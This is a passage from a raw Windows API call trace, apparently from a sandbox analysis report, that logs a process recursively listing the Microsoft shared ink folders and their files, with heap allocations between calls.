RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0089.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0089.323] GetProcessHeap () returned 0xc00000 [0089.323] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0089.323] GetProcessHeap () returned 0xc00000 [0089.323] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0089.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0089.323] GetProcessHeap () returned 0xc00000 [0089.323] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0089.323] GetProcessHeap () returned 0xc00000 [0089.323] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0089.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e9260 [0089.324] GetProcessHeap () returned 0xc00000 [0089.324] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0089.324] GetProcessHeap () returned 0xc00000 [0089.324] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0089.324] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.541] GetProcessHeap () returned 0xc00000 [0091.541] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.541] GetProcessHeap () returned 0xc00000 [0091.542] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.542] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.542] GetProcessHeap () returned 0xc00000 [0091.542] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.542] GetProcessHeap () returned 0xc00000 [0091.542] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.542] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.542] GetProcessHeap () returned 0xc00000 [0091.542] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.542] GetProcessHeap () returned 0xc00000 [0091.542] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.542] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.543] GetProcessHeap () returned 0xc00000 [0091.543] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.543] GetProcessHeap () returned 0xc00000 [0091.543] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.543] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8fa0 [0091.556] GetProcessHeap () returned 0xc00000 [0091.556] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.556] GetProcessHeap () returned 0xc00000 [0091.556] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.556] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8d60 [0091.557] GetProcessHeap () returned 0xc00000 [0091.557] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.557] GetProcessHeap () returned 0xc00000 [0091.557] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.557] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e89a0 [0091.557] GetProcessHeap () returned 0xc00000 [0091.557] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fa908 [0091.558] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2b1eb58 | out: lpFindFileData=0x2b1eb58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e89e0 [0091.558] GetProcessHeap () returned 0xc00000 [0091.559] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fa908 | out: hHeap=0xc00000) returned 1 [0091.559] GetProcessHeap () returned 0xc00000 [0091.559] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fa908 [0091.559] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\*", lpFindFileData=0x2b1eb58 | out: lpFindFileData=0x2b1eb58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e9060 [0091.559] GetProcessHeap () returned 0xc00000 [0091.559] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fa908 | out: hHeap=0xc00000) returned 1 [0091.559] GetProcessHeap () returned 0xc00000 [0091.559] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fa908 [0091.559] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2b1eb58 | out: lpFindFileData=0x2b1eb58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8f20 [0091.560] GetProcessHeap () returned 0xc00000 [0091.560] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fa908 | out: hHeap=0xc00000) returned 1 [0091.560] GetProcessHeap () returned 0xc00000 [0091.560] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fa908 [0091.560] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2b1eb58 | out: lpFindFileData=0x2b1eb58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8f60 [0091.561] GetProcessHeap () returned 0xc00000 [0091.561] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fa908 | out: hHeap=0xc00000) returned 1 [0091.561] GetProcessHeap () returned 0xc00000 [0091.561] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fa908 [0091.561] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\*", lpFindFileData=0x2b1eb58 | out: lpFindFileData=0x2b1eb58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8920 [0091.562] GetProcessHeap () returned 0xc00000 [0091.562] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fa908 | out: hHeap=0xc00000) returned 1 [0091.562] GetProcessHeap () returned 0xc00000 [0091.562] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fa908 [0091.562] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2b1eb58 | out: lpFindFileData=0x2b1eb58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e9060 [0091.566] GetProcessHeap () returned 0xc00000 [0091.566] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fa908 | out: hHeap=0xc00000) returned 1 [0091.566] GetProcessHeap () returned 0xc00000 [0091.566] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fa908 [0091.566] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\*", lpFindFileData=0x2b1eb58 | out: lpFindFileData=0x2b1eb58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8e60 [0091.567] GetProcessHeap () returned 0xc00000 [0091.567] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fa908 | out: hHeap=0xc00000) returned 1 [0091.568] GetProcessHeap () returned 0xc00000 [0091.568] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fa908 [0091.568] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2b1eb58 | out: lpFindFileData=0x2b1eb58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8a60 [0091.568] GetProcessHeap () returned 0xc00000 [0091.568] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fa908 | out: hHeap=0xc00000) returned 1 [0091.569] GetProcessHeap () returned 0xc00000 [0091.569] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fa908 [0091.569] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2b1eb58 | out: lpFindFileData=0x2b1eb58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8d60 [0091.569] GetProcessHeap () returned 0xc00000 [0091.569] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fa908 | out: hHeap=0xc00000) returned 1 [0091.569] GetProcessHeap () returned 0xc00000 [0091.570] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fa908 [0091.570] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2b1eb58 | out: lpFindFileData=0x2b1eb58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8ce0 [0091.574] FindNextFileW (in: hFindFile=0x37e8ce0, lpFindFileData=0x2b1eb58 | out: lpFindFileData=0x2b1eb58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.574] FindNextFileW (in: hFindFile=0x37e8ce0, lpFindFileData=0x2b1eb58 | out: lpFindFileData=0x2b1eb58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0091.574] FindNextFileW (in: hFindFile=0x37e8ce0, lpFindFileData=0x2b1eb58 | out: lpFindFileData=0x2b1eb58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0091.574] FindNextFileW (in: hFindFile=0x37e8ce0, lpFindFileData=0x2b1eb58 | out: lpFindFileData=0x2b1eb58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0091.575] FindNextFileW (in: hFindFile=0x37e8ce0, lpFindFileData=0x2b1eb58 | out: lpFindFileData=0x2b1eb58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0091.575] FindClose (in: hFindFile=0x37e8ce0 | out: hFindFile=0x37e8ce0) returned 1 [0091.575] GetProcessHeap () returned 0xc00000 [0091.575] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fa908 | out: hHeap=0xc00000) returned 1 [0091.575] FindNextFileW (in: hFindFile=0x37e89a0, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0091.576] FindNextFileW (in: hFindFile=0x37e89a0, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 0 [0091.576] FindClose (in: hFindFile=0x37e89a0 | out: hFindFile=0x37e89a0) returned 1 [0091.576] GetProcessHeap () returned 0xc00000 [0091.576] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.577] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0091.577] GetProcessHeap () returned 0xc00000 [0091.577] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.578] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8920 [0091.579] FindNextFileW (in: hFindFile=0x37e8920, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.579] FindNextFileW (in: hFindFile=0x37e8920, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.579] FindNextFileW (in: hFindFile=0x37e8920, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.579] FindClose (in: hFindFile=0x37e8920 | out: hFindFile=0x37e8920) returned 1 [0091.579] GetProcessHeap () returned 0xc00000 [0091.579] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.579] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, 